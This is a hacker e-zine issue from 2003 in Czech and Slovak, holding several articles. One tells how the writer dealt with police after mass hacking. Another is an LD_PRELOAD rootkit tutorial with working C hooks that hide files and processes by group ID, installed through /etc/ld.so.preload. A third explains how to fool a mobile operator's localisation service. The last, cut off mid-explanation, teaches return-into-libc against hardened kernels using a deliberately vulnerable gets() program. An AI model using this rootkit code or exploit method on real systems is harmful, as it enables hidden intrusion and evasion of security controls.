muze, ackoli zrejme nechtene, zruinovat muj zivot.



zvonim na ten zatracene fasa zvonek.



"firma FOOBAR, prosim ?"
"dobry den, ja jsem CLOVICEK, mohl bych navstivit pana
SOMENAME? Mam tady nutnou zalezitost ohledne vaseho internetoveho
pripojeni, sdelte mu to prosim. dekuji moc." zasveholim co
nejdetinstejsim a nejroztomilejsim hlasem, kteremu se da jen tezko
odmitnout.



bzzzzzzzzzz.



nasleduju ceduli, dupu po schodech, knedlik v krku. to co nyni delam
je sileny. mam chut to obratit, nekam utect, ale uz je pozde - jsem
ohlaseny. je to docela mala firmicka, zabyvajici se vecma naprosto
s internetem nesouvisejicima. reditel je mladej, v kapsacich a brichem.
"mas barak, auto, hezkou zenu, mozna i dite a po praci jdes s kolegama
na paintball" kalkuluju v duchu. sedime v kanclu, s usmevem na tvari
zakryvajice muj roztreseny hlas a depresi vykladam mu celou tuhle historii.



mel jsem stesti, zatracene stesti.



cele to bylo o tom ze v danem podniku byl nekdo az prehnane aktivni
a kdyz admin ohlasil ze jsou hacked, odvodil z toho ze to je konkurence
a chce jim ukrast databazi zakazniku (ktera mimochodem na tom serveru
ani nebyla) a na celou vec se najala naka security company. podal sem
mu to tak, ze to byla jen cista nahoda a s jeho firmou to nema co do
cineni a kdyby se ukazalo ze kecam tak neni problem pokracovat v
"trestnim oznameni na neznameho pachatele" jez podala "profesionalni
security firma" jez je velice zbehla v klikani ve wordu a mc ale jinak
ma asi nejake zajimave znamosti.



finito. happy end. fizlove otravovali jeste chvili, ale na sefika sem
asi udelal dojem, nevim jak to zaridil ...



inu, a jaka je pointa celeho tohoto ?



policie je neskodna, "security firmy nikoliv".
policie jedna jen kdyz ji nekdo hodi neco na stul a busi do stolu
dokavad si to nevyboucha. nepouziva elektronicke postupy, ale psychologicky
natlak, sbira dukazy do nejposlednejsiho detailu a az pote uderi.
sranda srandouci. jo, kde jsi dastychu, kde jsi, ty jsi mi byl
*daleko* sympatictejsi ...



ponauceni dnesni bajky ?
ackoli to dobre dopadlo mam problemy ve skole a musel sem zaplatit
pokutu za prestupek na ktery se to nakonec ututlalo:



vyvaruj se masovemu hackovani (=lack of opatrnost)! alespon ve state
kde zijes, o to vic v miste kde bydlis, chces-li se vyhnout vysoce
riskantnimu a zbytecnemu precedensu.



vetrak nepravidelne huci, protoze je vykuchanej ze zdroje a na tvrdo
prilepenej chemoprenem k chladici procesoru - to si to vedle postele
funi muj novej streetbox slatanej ze vseho moznyho co dum/kamosi dal.
chudak, ani jeste nema case, nu co, aspon fizlove priste neuvidi "pocitac"
a pujdou o dum dal. disk spokojene bruci jak do nej linuxik bezohledne sype
swapovany pejdze. ted zabrucel o neco vic protoze sem ulozil tenhle text.



pocitac a muj hardware sem jeste nevidel, nevim jestli jeste vubec nekdy.
zatracene, a porno abych stahoval znova.



o cele kauze jsem par mesicu nerek nikomu ani slovo, lepsi kdyz pred
podavanim nechame trosku vychladnout ...



ach jaj, mam pocitace rad, a ve vezeni zadny nejsou.
nezapominej na to!






anonym





navrat na obsah

co ty na to ? board







Rootkit zalozeny na preload.



Chceli by ste mat kontrolu nad velkym poctom unixovych utilit bez pracneho
patchovania kazdeho jedneho zdrojaku? Zda sa vam robit lkm prilis zlozite?!
Ak ste na obidve otazky odpovedali kladne tak pravdepodobne je tento clanok
pre vas! Existuje jedna,jednoduchsia cesta a tou je funkcia ktora sa nazyva
preload.Cez preload mozme donutit akekolvek programy ktore splnaju nizsie
uvedene podmienky aby robili veci ktore chceme my!
Takze...o co ide?



1. Teoria;


Vzhladom na to ze preload je kniznicna zalezitost skusme si zopar veci
vysvetlit ako funguju.Na zaciatok zopar pojmov:




.plt - procedure linkage table - je to v podstate redirektor ktory
presmeruvava kniznicne volania
.got - global offset table - pomaha hladat absolutne adresy ;)


Funkcie z pohladu adries by sme mohli rozdelit na dva typy:
- tie na ktore sa odkazujeme absolutnymi adresami
- tie pri ktorych pouzivame na ich urcenie sekciu .plt,.got a offset



Nas zaujima ten druhy typ.Vzhladom na to ze adresy v knizniciach nemozu
byt absolutne pretoze kniznica je zdielana roznymi procesmi ktore ju mozu mat
namapovanu na rozne adresy musi byt pouzity PIC kod.PIC znamena Position
independent code tj taky kod ktory nie je zavisli na absolutnej adrese
pricom ak je nejaku adresu treba tak sa vypocita.V tomto pripade ma register
%ebx ulohu uchovavat adresu GOT takze ak pisete PIC kod v asm tak vam komilator
ani %ebx nedovoli pouzit.Skusme teda sledovat ako prebieha volanie takejto
funkcie a vobec vsetko pochopit. Nasa modelova situacia vyzera takto:



printf("Hello world!n");

1. Na zasobnik sa ulozi adresa stringu
2. Funkcia call skace do sekcie .plt do "entry" funkcie printf.
3. Na miesto kam sme skocili to vyzera takto:



8048380: jmp *0x80495e8

/* pricom hodnota na (0x80495e8) sa uz nachadza v GOT a v nasom
pripade ma hodnotu 0x8048386 */

8048386: push $0x20 /* tu sa uklada offset */
804838b: jmp 8048330 /* skaceme na prvu entry v
.plt */
zaciatok .plt:
8048330: pushl *0x80495d0 (400161E8) /* adresa GOT+4 */
8048336: jmp *0x80495d4 /* predame riadenie dynamickemu
linkeru ten preda riadenie
printf() */
...
4000AFD3: mov edx, dword [esp+0x10] /* edx == 0x20 */
4000AFD7: mov eax, dword [esp+0xc] /* eax == 0x400161E8 */
4000AFDB: call near +0xfffffd84 /* skaceme na 0x4000ad5f */
...


A do eax nam to vypluje adresu printf() ktora je 0x40074178 pretoze
libc je namapovana do oblasti 4001a000-4013b000 (cat /proc//maps).
Pricom adresa printf() v libc je 0x5a178.Scitanim 0x4001a000 a 0x5a178
dostavame adresu printf();



poznamka: v pripade ze .plt bude PIC tak sa namiesto absolutnej adresy
pouzije relativne adresovanie vzhladom na hodnotu v registri %ebx.



Dobre,vieme teda co sa deje pri spusteni funkcie ,ale k uplnemu pochopeniu
budeme potrebovat vediet co sa deje pri spusteni programu.Este pred tym nez
sa preda riadenie programu vykona sa mnozstvo veci. Z pohladu kniznic sa deje
toto:



1. vytvori sa obraz binarky v pameti
2. vytvoria sa pametove segmenty pre zdielane kniznice
3. realokacia binarky a zdielanych objektov
4. preda riadenie programu



Preload funguje tak ze sa nasa kniznica natiahne po kroku 1. a este pred
krokom 2.Cim dosiahneme to ze sa nasa kniznica pouzije este pred vsetkymi
ostatnymi kniznicami.Cely tento proces je velmi komplikovany a nie je ucelom
tohto clanku ho riesit.Pre nas je skor dolezite vediet ze pri preloade sa
pouzije nasa funkcia v printf() v preload kniznici co ma za nasledok asi to ze
sa vykona ona a nie ta v libc.



Podmienky:
1. Program sa musi odkazovat na danu funkciu do kniznice
2. Program _nesmie_ byt staticky linkovany
3. V pripade ze program je suid tak aj preload libka musi byt suid (co uz moze
byt napadne ale nikto nevravi ze nemozte prekabatit find :))




2. Prax;


Pri robeni takychto kniznic je prakticky povinnostou pouzivat funkciu
ktora nam vrati adresu symbolu ktory dostane ako argument. V nasom pripade sa
vola getaddr.Mala by vyzerat zhruba nejak takto:




void *getaddr(char *symbol)
{
void *ret;
if ((ret = dlsym(RTLD_NEXT, symbol) == NULL) {
fprintf(stderr, "dlsym %s error:%sn", symbol,
dlerror());
_exit(1);
}
return ret;
}


Mozno sa pytate ako mozme pouzivat dlsym bez toho aby sme pouzili pred
nim niekde dlopen() odpoved je ze nemusime.Totizto argument RTLD_NEXT znamena
ze symboly bude vyhladavat v kniznicach ktore sa natiahnu az po nas.Co je
vyhoda a zaroven aj celkom portabilne.



Nasledne si vyhliadneme dany program,povedzme ze /bin/ls pretoze chceme skryvat
nase subory na disku.Zaujimaju nas dynamicke symboly (teda tie ktore sa
dynamicky linkuju).




# nm -D /bin/ls|grep readdir
U readdir64


Aha! Vidime ze ls pouziva funkciu readdir64().Pozrieme si jej definiciu,
a nasledne vypotime nieco co moze vyzerat aj takto:




struct dirent64 *readdir64(DIR * dp)
{
struct dirent64 *(*real_readdir) (DIR *);
struct dirent64 *ent;
struct stat sbuf;
fchdir(dirfd(dp));
real_readdir = (struct dirent64 * (*)(DIR *)) getaddr("readdir64");
while ((ent = real_readdir(dp)) != NULL) {
stat(ent->d_name, &sbuf);
if (sbuf.st_gid != GID)
break;
}
return ent;
}


Kazdy jeden subor alebo adresar ktory ma grupu GID bude jednoducho ignorovat.
Tymto sposobom mozme v pohode ukryvat aj procesy pretoze dany pid ma v /proc
definovaneho vlastnika i grupu.Ako to vyzera v praxi:




[root@hafix root]# ls -l /proc|grep jookie
dr-xr-xr-x 3 jookie h4x0r 0 apr 7 19:28 3287

[jookie@hafix jookie]$ id
uid=103(jookie) gid=666 skupiny=666

[root@hafix root]# ps xau|grep jookie
jookie 3287 0.0 4.0 2284 1256 tty7 S 19:22 0:00 -sh


Po instalacii kniznice uzivatelom jookie do /etc/ld.so.preload
(aby to fungovalo globalne).Bude to vyzerat takto.




[root@hafix preload]# ps xau|grep jookie
root 3315 0.0 1.2 1404 396 tty6 R 19:26 0:00 grep jookie
[root@hafix preload]# ls -l /home|grep jookie
[root@hafix preload]#


Takto prekabatime vacsinu programov.Treba si vzdy overit ktoru funkciu pouziva
pretoze taky vim pouziva readdir().



V 99% pripadoch bude nutne robit veci pri spustani/vypinani programu.
Takyto handler moze sa bud spustat pri zavadzani kniznice do pamete
(constructor) alebo ruseni z pamete (destructor).Funkcie takto definovane
nesmu brat argumenty a musia byt definovane ako void.Napriklad:




void inito(void) __attribute__((constructor));
void finito(void) __attribute__((destructor));


{con,de}structor uz mame definovany ale s tym este vela nenarobime uzitku:).
Treba urobit este wrappre funkcii. Vyhladame si funkciu z kniznice ktoru mame
zaujem "obalit". V nasej kniznici si ju definujeme rovnako, urobime evil
cinnost a musime (v podstate nemusime,zavisi od toho co robime) zavolat
povodnu funkciu.Na to mame uz spominanu getaddr() ktora nam vrati adresu
symbolu ktory je v tomto pripade printf :).




int printf(const char *format,...)
{
int (*printf_old)(const char *format,...);
printf_old = (int (*)(const char *format,...)) getaddr("printf");
printf_old("Hello World!n");
return 13;
}


Nerobi to nic ine len zaplni obrazovku vetou "Hello Worldn" vsade tam kde
sa vola funkcia printf().Takymto stylom robime wrappre pre vsetky funkcie
ktore potrebujeme.Za istych okolnosti sa daju dokonca wrappovat syscally
ale to len za predpokladu ze program sa bude na dany syscall odkazovat cez
libku.Vsade tam kde sa to riesi priamo cez int 0x80 to fungovat nebude.



Samozrejme tieto wrappre nemusia robit len maskovaciu cinnost,mozu napriklad
robit veci vhodne pre utocnika ako je zachovavanie time access attributov,
secure delete alebo povedzme odchytavanie logov cez syslog(3).




int unlink(const char *pathname)
{
int fd, i;
char *over;
struct stat sbuf;
int (*real_unlink) (const char *);
if(getgid() == GID && stat(pathname,&sbuf) != -1) {
over = (char *) malloc(sbuf.st_size);
fd = open("/dev/urandom", O_RDONLY);
read(fd, over, sbuf.st_size);
close(fd);
fd = open(pathname, O_WRONLY);
for (i = 25; i > 0; i--) {
write(fd, over, sbuf.st_size);
fsync(fd);
}
close(fd);
free(over);
}
real_unlink = (int (*)(const char *)) getaddr("unlink");
return real_unlink(pathname);
}


Aj takto moze vyzerat secure delete verzia unlink() :).Ako mozte vidiet
implementacia kazdeho wrappra je silne indiviualna zalezitost a zalezi od
potrieb konkretneho jedinca :).



Alebo taka myslienka...co tak menit chovanie preload libky podla toho
aka je argv[0]? To by mohlo byt este zaujimavejsie;)



A ako by sa dala prezradit pritomnost tohto typu rootkitu?
Staci dat prakticky na akukolvek binarku ldd.Ta poslusne vypise ze s kym
vsetkym je zlinkovana...mozno ked date nasej preload libke nejaky brutalne
systemovy nazov ze si to nikto nevsimne.ldd vola /lib/ld-linux.so.2 ktory
odkazuje na aktualny dynamicky linker ktory je skompilovany staticky.Riesit sa
to da nejakym vhodnym grepom do ldd alebo patchnutim ld-linux.so.2 .
Potom tu mame este /proc//maps takze aj tu zalezi ze ako;).
Ked robime strace tak medzi prvymi riadkami sa nam tiez prejavi jej pritomnost.



3. A na zaver..


Samozrejme kto chce 100% utajenie pouzije lkm;).Je to akysi medzistupen medzi
patchovanim systemovych utilit a sprtania sa v jadre.






v92, v92(at)hysteria.sk





navrat na obsah

co ty na to ? board






0000010100000001000001020061730208639993
maniac
 maniac      30.06.2019 - 19:29:45 (modif: 30.06.2019 - 19:30:16), level: 1, UP   NEW !!CONTENT CHANGED!!


::::::::::. :::::::.. :::.,:::::: ::: ... . :
`;;;```.;;;;;;;``;;;; ;;;;;;;'''' ;;; .;;;;;;;. ;;,. ;;;
`]]nnn]]' [[[,/[[[' [[[ [[cccc [[[ ,[[ [[,[[[[, ,[[[[,
$$$"" $$$$$$c $$$ $$"""" $$' $$$, $$$$$$$$$$$"$$$
888o 888b "88bo,888 888oo,__ o88oo,.__"888,_ _,88P888 Y88" 888o
YMMMb MMMM "W" MMM """"YUMMM""""YUMMM "YMMMMMP" MMM M' "MMM

prielom #19, 26.02.03 , prielom(at)hysteria.sk, http://hysteria.sk/prielom/





obsah







intro


desiatky tp kablov po celej chate vytvorili stav, ktory sa odborne prezyva "kablove spagety". nejaka dvacka notebookov,
lokalna wireless siet, 50 ucastnikov, 4 hodiny prezentacii a dva dni takmer non-stop zabavy vytvorili na zimnej
hysteria.sk stretavke 1-2.februara.03 dooost fasa atmosku. este dnes sa hrabem po hard disku svojho desktopu, ktory na
sessione sluzil ako centralny server, nachadzam backdoory, cudzie sniff logy, veelmi bizarne fotky a dokumenty, a rozmyslam co sa tam vlastne vsetko udialo.
pamatam si matne dost hustu sutaz o hacknutie servera (vyhral stanojr, y0u owe Us!), irc hadky medzi izbami na chate
cez wireless siet, aj haluzne VJ kreacie by zden. no proste kto neprisiel zavahal... ale dostava pod ruky aspon toto
cerstve cislo prielomu, ktore obsahuje clanky suvisiace s debatami na spominanej hysteria session..



..ale este by som xcel upozornit na zopar noviniek na hysterke. ehm, tak heslovite. rozbehol sa dost uspesne irc server
(irc.hysteria.sk), na ktorom sa da dristat priam anonymne. je tu vyzva na hysteria grant, na ktoru sa mi zatial veru
neozvalo vela ludi. pre chtivych coderov je tu nova stranka s informaciami o rozbehnutych projektoch ludi okolo
hysterky, do ktorych sa da priskocit (hysteria.sk/projekty/).. moment, hned sme naspat, po kratkej reklamnej prestavke:



kratka reklamna prestavka - kazdy uverejneny clanok v prielome honorujeme elitnym trickom hysteria a dozivotnym
kontom na serveri hysteria.sk so vsetkymi sluzbami. dozivotnym z pohladu dozitia hysterky alebo pisatela ? mnoo
neviem..

no a teraz po reklame este pre tych ktori prespali hysteria.sk stretavku na zochovej chate - planujeme v kratkom
case obdobnu (aj ked mensiu) akciu v prahe.. a dalsou moznostou ako spoznat nazivo spriaznene duse bude od marca
pravidelny (dufam) 2600 meeting v blave, viz http://meetings.2600.sk/



pajka, pajkus(at)hysteria.sk, 26.2.2003, blava



navrat na obsah

co ty na to ? board






anonymizacia mobilu II



na konci roku 2002 nas mily Orange spustil prve lokalizacne sluzby pre verejnost.
a tak dnes moze zistit nasu polohu nielen operator ale aj bezny uzivatel
orange pausalu, alebo prima karty. Orange ako operator to robi stale a bez nasho
suhlasu, inemu uzivatelovi to musime povolit jedinou esemeskou.. bud dobrovolne
(napr. kamosovi) alebo pod tlakom (rodicia, sef)... poznam napriklad jednu babu z
istej farmaceutickej firmy sidliacej v blave, kde si museli vsetci
zamestnanci povolit
lokalizaciu od svojich nadriadenych.. neposluchnutie by bolo "hrube porusenie pracovnej
discipliny".. ako oklamat operatora to zatial neviem, ale ako beznych sms/web-lokalizatorov,
tak o tom je toto tu....


teoria



lokalizovanie polohy mobilu sa realizuje na zaklade signalov z viacerych
okolitych BTSiek (prielom 16). Zo ziskanych udajov vie operator urcit polohu
radovo na metre. polohu (suradnice X,Y) vlozi do digitalnej mapy, ktoru mu podla
odkazu na orangeportal.sk dodava VKU (a vojaci vedia byt presni) a UGKK.
a uz to nie je len nejake cislo ale informacia: mesto - ulica - dom... brr...



orange prisiel s tromi lokalizacnymi sluzbami, nas bude zaujimat dalej len
prva z nich (najdi znameho). uzivatelia primy nie su nijako obmedzeni
voci pausalistom a teda ani nijako chraneni.


a teraz trochu reality



po pociatocnom prekvapeni, ze orange pustil medzi ludi takuto sluzbu a po par
skusobnych esemeskach (typu najdi XXXX) prislo vysvetlenie... biznis..
vyssie spominana metrova presnost.. kdeze je ???

ved dajte si dva mobily ku sebe, jeden s antenkou a jeden bez, to budu
zaujimave vzdialenosti ktore orange vyrata. alebo este lepsie ked jeden mobil
je starsi (iba 900mhz) a druhy uz aj 1800mhz a na blizku su 1800-BTSky.
mne vychadzali rozdiely od 300 az do 800 metrov. a to sme sedeli s kamaratom
v blave na prievozkej v bizniz centre.



cely system ludovej lokalizacie nefunguje totiz na vyssie spomenutom principe
urcenia polohy mobilov pomocou signalov ale na uplne inom, jednoduchsom, a pre
nas tym padom aj vyhodnejsom principe... orange nam jednoducho oznami nazov
aktivnej BTSky.. a to tiez dost stastnym sposobom. napise mesto a za nim
zopar ulic (zvycajne 3-5). ked si pozrieme tie ulice na mape tak je to oblast
tak okolo jedneho kilometra. niekedy aj menej, zalezi na tom ake su tie ulice
dlhe. v zavere smsky je sice udaj v kilometroch ale aj ten na sebe nesie
stopy orange-myslenia. je to vzdialenost aktivnej BTSky jedneho mobilu
od aktivnej BTSky druheho mobilu. takze mozeme akolenchceme behat okolo BTSky
a ta vzdialenost bude stale rovnaka.. kym sa nam nepodari prebehnut pod inu
silnejsiu BTSku..



blizsie infos o tejto sqelej sluzbe som samozrejme nenasiel ani na orindz-webe
ani na jednom mailingliste kde bol na tuto temu niekolko-denny flood a jedine
co stoji za to spomenut bolo: zapnuty mobil pod kapotu auta a ked auto zmizne
tak mozeme zacat esemeskami hladat jeho polohu ;))



takze predsa som musel urobit zopar testov v terene.. a veru oplatilo sa...



najdolezitejsia cast vybavy bol mobil nokia na ktorom ide
net monitor. ja som mal nokiu 6150. v bazare za 2500sk. boli aj 5110, tie by sa
tiez dali pouzit ale kvoli absencii 1800mhz frekvenie som radsej zvolil 6150.
neskor som vyskusal aj 9210i a tiez ma net monitor.

este som mal zo sebou dalsi mobil (siemens) a doma este cakal treti (tzv. priatel
na telefone). ten nebol az tak dolezity ale pomohol. na vsetkych telefonoch
som povolil lokalizovanie (sms: suhlas a XXXX)...



vsetky testy som urobil medzi b.bystricou a zvolenom. aj v centre mesta aj
po dedinach som pobehal. postup prace bol asi taky ze nokiou som sa cez net
monitor lockol na nejaku BTSku a dalsimi mobilmi som ju dal hladat.
nokia naraz dokaze komunikovat az s 9 BTSkami a to zabralo dost casu
stale to prehadzovat v net monitore. system bol jednoduchy.. asi takyto:



    1.. na strankach 03-05 vybrat cislo BTSky (alebo je to jej frekvencia?)

    2.. na simku ulozit to cislo na poziciu 33 (na mene nezalezi ;)

    3.. skocit na stranku 17 ale nie sipkami ale cez cislo

    4.. vypnut a zapnut mobil, pockat na siet a spustit hladanie

    5.. skocit na stranku 17 (vypne sa BTS test) a restart

    6.. a toto opakovat az kym je nalada



no jedna vec na orindzi je dobra.. ze napise priblizne polohu BTSky.
takze za pol hodinu som mal zoznam vsetkych BTSiek na okoli a ani som sa
nemusel pohnut z miesta. postup je takyto: nokia lock na BTS a siemens hladaj.
potom nokia lock na inu BTS a siemens hladaj. kedze siemens bol stale na
tej istej BTSke tak som ziskal aj vzdialenosti na ostatne BTSky. taky zoznam
je dobre si spravit. neskor to dost ulahci orientaciu..



najlepsie vysledky som dosahoval pri lokovani sa na najslabsie BTSky..
vtedy bola vzdialenost uvadzana orindzom aj vyse 9 km. a mobily boli vedla
seba... raz v takejto situacii mi zazvonila nokia a ja som z hovoru nic
nerozumel. ako keby som bol niekde na lomnicaku.. takze darmo mam
lokalizacny system oklamany o 9 kilometrov ked nerozumiem ani slovo.....



tak som dostal smrtonosnu myslienku.. externa antena.. hned som obehol
vsetky mne zname obchody a zohnal som nielen externu ale zaroven aj smerovu
antenu (za 1000sk). ale len 900mhz.. nie je to nejaka mala antenka co sa nosi
v aute.. je to poriadny kus ktory sa montuje na dom.. nieco podobne ako
televizna antena. a potom uz stacil len taky kratky kablik ktorym sa pripoji
externa antena k mobilu a je pre kazdy mobil iny a ktory sa pre nokie uz u nas
nevyskytuje. ale zohnal som ho... zevraj posledny kus vo zvolene..



potom to uz bola basen.. smerovou antenou som sa lockol na 10 km vzdialenu
BTSku a nokia hlasila full signal.. potom som sadol do auta, smerovu antenu
do jednej ruky, volant do druhej a isiel som k tej BTSke. tych 10 km je
vzduchom, po ceste to bolo takych 14 km. kazdy kilometer som zastal a dal
som sa hladat. orange hlasil stale to iste.. mobil doma ma hladal kazde
2 minuty.. tiez stale ta ista poloha. tento postup som este skusil pri
dalsich 2 BTSkach. vysledok ten isty. orange vzdy posle polohu aktivnej BTSky.
je jedno ze kde sa mobil nachadza (ako daleko a ktorym smerom od BTSky).



mobil mozeme dat hladat aj cez web (orangeportal). nakresli nam aj peknu mapu
a vysrafuje nasu polohu (pravdepodobnu).. nazvy pri BTSkach su take iste ako
v esemeskach. jedine co je ine je vzdialenost v km. ta sa lisi od smsiek
o 0.2 - 0.4 km.. a neviem preco....



a este jedna vec stoji za to... skuste si dat vyhladat vypnuty mobil.. to je
parada... namiesto toho aby orange napisal ze mobil je offline tak pride pekna
sprava o jeho polohe!! ale o jeho poslednej polohe. pred vypnutim. teda info
o poslednej aktivnej BTSke pred vypnutim. a tu sa crta napad:




    1.. mobil a dve simky..

    2.. doma (napr.BB) zapnut mobil a nastavit presmerovanie na simku c.2

    3.. vypnut a vymenit simky

    4.. zapnut mobil a ist napr. do BA (200 km)



este jedna zaujimavost na zaver:

na hladany mobil orange posle smsku (XXXX zistuje vasu polohu) a teda
viete ze vas niekto hlada komu ste to pred tym povolili.. ja som poslal okolo
150 smsiek (najdi XXX) a v asi 30 pripadoch som taku smsku nedostal...



spawn, spawn(at)hysteria.sk



poznamka - udrzat si rozumnu mieru anonymity a sukromia bude asi coraz tazsie. pod dojmom tohto clanku som sa
dohodol so spawnom ze vsetok hardware, ktory pouzil na vyssie uvedene testiky pouzijeme na vybudovanie anonymnej gsm
brany na hysterke s anonymizacnymi gsm sluzbami.. stay tuned.. pajkus



navrat na obsah

co ty na to ? board






obchazeni linux security patchu



securitni vylepseni kernelu (grsecurity, pax, medusa, lids ...) dnes jiz nejsou nicim
novym. kazdy druhy bezpecnostne-uvedomely admin je pouziva na svych serverech, dokonce
i tady na hysterce je v kernelu grsecurity. ja se tady pokusim zamerit na takovej ten
common problem: exploit vs. security enchanced linux kernel.
ono ackoliv jsou tyto patche veskrze hezke, z pohledu utocnika je to krajne
neprijemna zalezitost, jelikozto maji osklive tendence zakazovat spousteni kodu v datovej
sekci/zasobniku. ne ze by to v pripade x86 architektury slo od prirody, chodi to pres
jeden takovy velice osklivy hack (segmentation addressing), ale co na plat, proste je
to tak. tento clanek neni urcen lidem kteri chteji vedet "proc mi ten divnej exploit
nefunguje proti xxyyzz.cz", ale tem kteri chapou dnes pouzivane exploitovaci techniky
a chteji vedet jak se toto da obejit. no, nebudeme si nic namlouvat, jde to ztuha :)


technika return-into-libc je relativne nova, znama asi 2 roky (viz pajkovo pravidlo
postupneho prielomu), vynalezl ji tusim asi solar designer nebo nekdo takovy, kazdopadne
se skvele hodi na nase nekale ucely, nuz, o co tedy jde.


pouziva-li se non-executable heap & stack, klasicke exploity (ktere ukladaji svuj
shellcode prave na tato mista) jaxi nefunguji, jednoduse proto ze shellcode proste
*nejde* spustit. je to od nich osklive, ale nemuzou za to. jediny logicky postup je
pouzit jako shellcode co se v napadenem procesu vyskytuje od prirody. kazdy spravny
a slusne vychovany program vyuziva sdilene knihovny, urcite to bude platit pro libc.
proc tedy nezavolat jako shellcode neco primo z libc ? prirozene pujdeme po necem
co dokaze spustit externi program (shell) a zbytek se pokusit naskriptovat (v pripade
remotniho exploitu vytvorit configurak & spustit inetd, v pripade lokalniho zpravidla
staci spustit shell). nuze, jak to tedy vypada:



sd@devastace:~$ cat /proc/$$/maps | grep r-xp
08048000-080bf000 r-xp 00000000 03:01 32386 /bin/bash
40000000-40013000 r-xp 00000000 03:01 291477 /lib/ld-2.2.5.so
4001c000-40051000 r-xp 00000000 03:01 291522 /lib/libncurses.so.5.2
4005a000-4005c000 r-xp 00000000 03:01 291483 /lib/libdl-2.2.5.so
4005e000-40171000 r-xp 00000000 03:01 291480 /lib/libc-2.2.5.so
4017b000-40185000 r-xp 00000000 03:01 291486 /lib/libnss_compat-2.2.5.so
40186000-40197000 r-xp 00000000 03:01 291485 /lib/libnsl-2.2.5.so



*pouze* na adresach na radkach obsahujici r-xp lze neco spustit. z textu nahore
je jasne ze nejvyhodnejsi bude asi funkce system() a nebo execve(), samozrejme
se musi predat i spravne parametry. nuze jak na to. zacneme pekne od piky, se starymi
dobrymi stack-based buffer overflovy, necht (jak z ucebnice matematiky :) mame
takyto vulnerable program:




sd@devastace:~$ cat vuln.c
void vulnerable()
{
char buf[512];
printf("%p", buf);
gets(buf);
}

int main()
{
vulnerable();
}


rikas si, tohle u vas zvladnou i 10ti lete deti, ale na grsecu ? :)
v assembleru to bude vypadat asi takto:



(gdb) disass vulnerable
Dump of assembler code for function vulnerable:
0x8048494 <vulnerable>: push %ebp ; [1] sejvni ebp
0x8048495 <vulnerable+1>: mov %esp,%ebp ; v ebp stack frame
0x8048497 <vulnerable+3>: sub $0x208,%esp ; char buf[512]
0x804849d <vulnerable+9>: sub $0x8,%esp ; ??
0x80484a0 <vulnerable+12>: lea 0xfffffdf8(%ebp),%eax ;buf do eax
0x80484a6 <vulnerable+18>: push %eax ; sejvni ptr na buf
0x80484a7 <vulnerable+19>: push $0x8048548 ; a na retezec %p
0x80484ac <vulnerable+24>: call 0x804838c <printf> ; printf("%p", buf)
0x80484b1 <vulnerable+29>: add $0x10,%esp
0x80484b4 <vulnerable+32>: sub $0xc,%esp
0x80484b7 <vulnerable+35>: lea 0xfffffdf8(%ebp),%eax ; ptr na buf do eax
0x80484bd <vulnerable+41>: push %eax ; sejvni ptr na buf
0x80484be <vulnerable+42>: call 0x804833c <gets> ; gets(buf)
0x80484c3 <vulnerable+47>: add $0x10,%esp
0x80484c6 <vulnerable+50>: leave ; [2] mov %ebp, %esp; pop %ebp
0x80484c7 <vulnerable+51>: ret
End of assembler dump.
(gdb) disass main
Dump of assembler code for function main:
0x8048494 <main>: push %ebp ; [3] sejvni ebp
0x8048495 <main+1>: mov %esp,%ebp ; do ebp stack frame
0x8048497 <main+3>: sub $0x8,%esp
0x804849a <main+6>: and $0xfffffff0,%esp
0x804849d <main+9>: call 0x8048460 <vulnerable>
0x80484a2 <main+14>: leave ; [4] mov %ebp, %esp; pop %ebp
0x80484a3 <main+15>: ret
End of assembler dump.


nuze, co s tim ? prepiseme-li navratovou adresu z vulnerable() adresou execve() kdesi
v libc (system() nelze pouzit protoze spusti /bin/sh keryzto ma ve zvyku dropnout euid
privileges, tj. privileges suid binarky), jak mu hodime na %esp adresu retezce s binarkou
co ma spustit ? inu, nejde to holt delat tak zhurta, musime neprimo.
az se spusti gets(), struktura zasobniku bude vypadat asi takto:



+-----------------+- 0xc0000000 - vrchol zasobniku
| env + arg |
1 : :
| |
+-----------------+- navratova dresa k tomu co volalo main() [ to nas nezajima ]
2 | retaddr@_start |
+-----------------+- 0xbfffffxx - ulozena hodnota %ebp z [3] v main
3 | main: push %ebp |
+-----------------+- 0xbfffffxx - ulozena hodnota main+14 (uz jsme ve vulnerable())
4 | retaddr@main+14 | _
+-----------------+- 0xbfffffxx - ulozena hodnota %ebp z [1] ve vulnerable |
5 | vulnerable %ebp | |
+-----------------+- 0xbfffffxx - 512 bajtovy buffer buf[] ( &buf[512] ) |
| char buf[512] | |_ *
6 : : |
| | <- zde je zacatek bufferu buf (&buf[0]) |
+-----------------+- 0xbfffffxx - navratova adresa z vulnerable() do main__|
| retaddr@vulner~1| tuto adresu *musime* my nastavit, protoze kdyby jsme
+-----------------+ pouzili string dlouhy 516 bajtu, tak by prepsal %ebp na stacku
a sem by se dala 0 - adresa se znici. ale my se *potrebujeme*
z funkce vratit aby nas trik vysel. momentalni hodnota
je 0x80484a2 - prakticky staci adresa 'leave' instrukce
v nadrazene funkci (main() v nasem pripade)

* - tato data + data smerem k vyssim odresam lze ovladat


za nasi pozornost stoji predevsim hodnoty 5 a 6. kdyz prepiseme buf o 4 bajty
data na konci buferu prepisou ulozenou hodnotu %ebp na stacku. dale musime
prepsat navratovou adresu na nejakou instrukci 'leave' (vecinou staci na hodnotu
co uz tam byla - toto plati pouze kdyz mame potize s jako zrovna tady)
hrmm, a co se stane dal ? na instrukci [2] se provede opkod 'leave' coz znamena
neco jako:



mov %ebp, %esp
pop %ebp <--- zde se da do registru %ebp hodnota co jsme prepsali $%^&*!
ret



takze po navratu z funkce vulnerable() bude mit %ebp hodnotu jakou si usmyslime.
a pote se hned spusti znovu 'leave', ale nyni bude mit *mnohem* dalekosahlejsi
dusledky:





mov %ebp, %esp <--- takze nyni ma %esp hodnotu jakou my zadame (falesny stack frame)
pop %ebp <--- toto je nepodstatne
ret <--- a tady to skoci na adresu danou v nasem stackframe+4



takze shrnuto a podtrzeno, ve funkci vulnerable() zmenime hodnotu registru %ebp,
cimz ve funkci main() vytvorime nas vlastni stack frame. na nem muzeme mit
vsecky parametry potrebne pro volanou libc funkci a samozrejme jeji adresu.



sd@devastace:~$ echo "aaaaaaaaaaaaaa" | /home/sd/vuln /tmp/sush
0xbffffba0 <-- tato adresa se pouzije pro 'buf'
sd@devastace:~$


v nasem pripade to bude vypadat asi takto:



+-----------------+- 0xbffffba0 - vrchol naseho stack frame
| pop %ebp | tady muze bejt jakekoliv cislo pro "pop %ebp" v main, jedno jake
+-----------------+- 0xbffffba4
| adresa execve() | toto je cislo jez se vybere pri instrukci 'ret' a skoci na execve()
